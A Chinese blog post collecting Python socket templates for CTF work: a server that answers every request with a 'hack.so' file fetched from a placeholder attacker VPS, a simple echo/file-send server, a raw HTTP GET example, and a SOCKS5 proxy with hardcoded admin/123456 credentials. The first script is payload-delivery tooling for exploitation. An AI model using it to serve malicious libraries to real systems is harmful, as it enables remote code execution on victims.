socketの应用 : Proxy&http-send

socketの应用 : Proxy&http-send

下面是几个socket的常用方式, 模板都是网上扒拉其他师傅的, 一直都是直接import使用的, 因为是太久之前的事了, 就不找师傅们的原文了, 见谅。

请求转发

不管发过来的请求是什么最终都请求一个文件包数据并返回

#!/usr/bin/python2
# coding=utf-8

import time
import socket
import urllib
import random

import urlparse

desc_host = '0.0.0.0'
desc_port = 9999

source_url = "http://127.0.0.1/ctf-temp/"

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while 1:
    try:
        server.bind((desc_host, desc_port))
        break
    except:
        # desc_port=random.randint(1000,10000)
        pass

print "Proxying to %s:%s ..."%(desc_host, desc_port)

while 1:
    server.listen(5)
    conn, addr = server.accept()
    recv=conn.recv(1024)
    print recv
    request = recv.split(" ")[1]
    # page = urllib.urlopen(urlparse.urljoin(source_url, request)).read()
    page = urllib.urlopen(urlparse.urljoin("http://vps:port/hack.so","")).read()
    print addr[0], addr[1], request
    print time.strftime('%Y-%m-%d %H:%M:%S')," [%s:%s] %s"%(addr[0], addr[1], request)
    # print page
    head1 = """HTTP/1.1 200 OK
Date: Mon, 18 Apr 2022 11:25:06 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Mon, 18 Apr 2022 10:29:12 GMT
ETag: "3ea0-5dceb3b355267"
Accept-Ranges: bytes
Content-Length: 16032
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive\t\n\n""".encode()
    head2=b"""HTTP/1.1 200 OK
Server: gunicorn
Date: Mon, 18 Apr 2022 13:38:20 GMT
Connection: close
Content-Type: text/plain
Content-Length: 51
Content-Disposition: attachment; filename=hack.so\t\n\n"""
    conn.sendall(head2+page)
    conn.close()

返回输入数据包

#!/usr/bin/python3
#codind:utf-8
import random
import socket,sys

#创建一个socket对象
socket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host="0.0.0.0"
port = 9999
file=b""
if "-h" in sys.argv:
    host = sys.argv[sys.argv.index("-h") + 1]
if "-p" in sys.argv:
    port = int(sys.argv[sys.argv.index("-p") + 1])
if "-f" in sys.argv:
    fileName = sys.argv[sys.argv.index("-f") + 1]
    f = open(fileName, "rb")
    file = f.read()
#绑定地址
while 1:
    try:
        socket_server.bind((host, port))
        break
    except:
        port=random.randint(1000,10000)
print("Your Server Objects is: ",host)
print("Your Server Port is: ",port)
#设置监听
socket_server.listen(5)
# socket_server.accept()返回一个元组, 元素1为客户端的socket对象, 元素2为客户端的地址(ip地址,端口号)
client_socket, address = socket_server.accept()

#while循环是为了让对话持续
while True:
	#接收客户端的请求
    recvmsg = client_socket.recv(1024)
    #把接收到的数据进行解码
    strData = recvmsg.decode("utf-8")
    #设置退出条件
    if strData == 'exit':
        break
    print("接收: \n%s" % strData)
    #输入
    if file:
        client_socket.send(file)
        break
    else:
        msg = input("发送: \n")
        #发送数据,需要进行编码
        client_socket.send(msg.encode("utf-8"))
        break
#关闭服务器端
socket_server.close()

socket发送请http请求

import socket

def http_sockrt(text):
    global host,port
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    sock.send(text.encode())
    response = b''
    rec = sock.recv(1024)
    while rec:
        response += rec
        rec = sock.recv(1024)
    return response.decode()
url = 'www.zhangdongshengtech.com'
port = 80

# 创建TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务端
sock.connect((url, port))
# 创建请求消息头
request_url = 'GET /article-types/6/ HTTP/1.1\r\nHost: www.zhangdongshengtech.com\r\nConnection: close\r\n\r\n'
print(request_url)
# 发送请求
sock.send(request_url.encode())
response = b''
# 接收返回的数据
rec = sock.recv(1024)
while rec:
    response += rec
    rec = sock.recv(1024)
print(response.decode())

一个代码稍多一点的Proxy

import socket
import threading
import select
import time

IsNeedAuth=False
Username='admin'
Password='123456'
Port=7456

def prxoy(sock,address): 
    cs = sock  
    DspPort=0
    DspAddr=''    
    try:
        recv= cs.recv(512)
        VER=recv[0:1]
        #MethodNum=ord(recv[1:2])
        #Methods=[]
        #for i in range(0,MethodNum):
           # Methods.append(ord(recv[2+i:3+i]))
        if(IsNeedAuth):          #Need AUTHENICATION
            cs.send(b'\x05\x02')     #Reply
            recv= cs.recv(1024)
            Ver=recv[0:1]
            UserLen=ord(recv[1:2])
            User=recv[2:2+UserLen]
            PassLen=ord(recv[2+UserLen:3+UserLen])
            Pass=recv[3+UserLen:3+UserLen+PassLen]
            if (User==Username and Pass==Password):
                cs.send(Ver+'\x00')
            else:
                cs.send(Ver+'\xff')
                cs.close()
                return 
        else:
            cs.send(VER+'\x00')  #  NO AUTHENICATION REQUEST
        try :
            recv= cs.recv(1024)
        except Exception,ex:
             print 'Client is Closed'
             return
        CMD=ord(recv[1:2])
        ATYP=ord(recv[3:4])
        if(CMD ==0x01):             # CONNECT CMD
            if (ATYP==03):                      # DOMAINNAME
                AddrLen=ord(recv[4:5])
                DspPort=256*ord(recv[5+AddrLen:5+AddrLen+1])+ord(recv[1+5+AddrLen:5+AddrLen+2])
                DspAddr=socket.gethostbyname(recv[5:5+AddrLen])
            elif (ATYP==01):                     #IPV4
                if (recv.count('.')==4):    # Asiic  format  split by  '.'
                    AddrLen=ord(recv[4:5])
                    DspAddr=recv[5:5+AddrLen]
                    DspPort=256*ord(recv[5+AddrLen:5+AddrLen+1])+ord(recv[5+AddrLen+1:5+AddrLen+2])
                else:                                      #four hex number format
                    DspAddr=recv[4:8]
                    DspAddrr=''
                    for i in DspAddr:
                        DspAddrr +=str(ord(i))+'.'
                    DspAddr=DspAddrr[:-1]
                    DspPort=256*ord(recv[4+4:4+4+1])+ord(recv[4+4+1:4+4+2])
            else:
                print "IPV6 is not support"
                return
            cs.send(VER+'\x00\x00\x01\x00\x00\x00\x00\x00\x00')   # REPLY
            forward(cs,DspAddr,DspPort)
        else :
            print "Don't suport  this Cmd",CMD
    except Exception,e:
        print e

def forward(cs,DspAddr,DspPort):
    try:
        #print DspAddr +'\n'
        ss = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        
        ss.connect((DspAddr, DspPort))
    except Exception,e:
                print "Connect to ",DspAddr,"Fail"
                return
    socks=[]
    socks.append(cs)
    socks.append(ss)
    while(True):
       try:
        r, w, e = select.select(socks, [], [])
        for s in r:
            if s is cs:
                recv=cs.recv(2048)
                caddr,cport= cs.getpeername()
                if (len(recv) >0):
                    saddr,sport=ss.getpeername()
                    print caddr,':',cport,'<',len(recv),'>',saddr,':',sport
                    ss.send(recv)
                    
                else:
                    for sock in socks:
                        sock.close()
                    return
            elif s is ss:           
                recv=ss.recv(2048)
                saddr,sport= ss.getpeername()                
                if (len(recv) >0):
                    caddr,cport= cs.getpeername()
                    print saddr,':',sport,'<',len(recv),'>',caddr,':',cport
                    cs.send(recv)
                else:
                    for sock in socks:
                        sock.close()
                    return
       except Exception,e:
            print "Translate data error"
            break            

if __name__ == "__main__":
    ls = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ls.bind(('0.0.0.0',Port))
    ls.listen(500)
    while (True):
        clientSock, address = ls.accept()
        thread = threading.Thread(target=prxoy, args=(clientSock,address))
        thread.start()
posted @ 2022-04-25 13:13  h0cksr  阅读(74)  评论(0编辑  收藏  举报